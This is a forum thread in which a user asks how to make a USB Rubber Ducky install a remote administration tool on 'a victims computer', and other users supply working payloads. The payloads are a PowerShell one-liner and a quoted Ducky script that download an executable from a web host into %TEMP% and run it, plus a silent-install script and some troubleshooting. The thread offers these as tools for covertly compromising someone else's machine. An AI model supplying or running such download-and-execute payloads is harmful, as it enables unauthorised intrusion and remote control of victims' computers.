How To Use Ducky To Install & Execute A File?

Recommended Posts

I have remote administrative tool, I want to beatable to plug my USB Rubber Ducky into a victims computer and have the USB Rubber Ducky execute the file. I can either have the file be remotely downloaded or have this file be installed on the USB Rubber Ducky. I have tried to write my own script but I always run into errors. It would be really helpful if someone could post their script. Thanks a Lot!

Upload the file to a service like Skydrive or DropBox. Get a shared link through this and write a script for the duck to start Powershell. Then get it to type this:

powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"

Give that a go.

Look at the back of the card you got with your ducky!

Mubix has created an example to do exactly that :)

REM Title: Powershell Wget & Execute            Author: Mubix                  Version: 1.2
REM Description: Opens Run menu, throws power shell string, enter. Supports HTTP/S and Proxies.
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://example.com/bob.old','%TEMP%\bob.exe'); Start-Process "%TEMP%\bob.exe"

Many admin tools have an automated or silent install feature. Here is an example of how to install 7zip with a duck script. You may have to tweak for delays.

REM *** Delete 7zip files if they already exist. ***
STRING erase /Q 7za.exe 7z920.zip 7-zip.chm license.txt readme.txt

REM *** Install 7zip. ***
STRING powershell (new-object System.Net.WebClient).DownloadFile('http://downloads.sourceforge.net/sevenzip/7za920.zip','%TEMP%\7za920.zip'); $shell = new-object -com shell.application; $zip = $shell.NameSpace('%TEMP%\7za920.zip'); foreach($item in $zip.items()) { $shell.Namespace('%TEMP%').copyhere($item) }Start-Process '%TEMP%\7za.exe' -ArgumentList '/S /D=%PROGRAMFILES%\7-Zip\'
REM *** Delay 7 Seconds. ***
DELAY 7000
REM *** Switch from powershell back to command line. ***

I have it downloading from a website, and unzipping the files in the process, then installing. Runs in the command prompt. Had to cobble together a couple pieces of code to do this.

I tried this on a 5.5 MB .wav file through a public dropbox link.

This resultet in a corrupt 64KB .wav file on my machine.

I can't find any documentation that states a limit to the file size.

Does anyone know what may have happned?

As far as I am aware, there is no limitation to the file size. You might want to download the file normally, or check to see if the powershell script hasn't changed the file name etc.

I know it can do over 1GB, as I don't like to use all of my download limit, so I set up an automated script that detects when my PC is offpeak with the internet useage, and it downloads it then. Works fine, and no problems with large files.
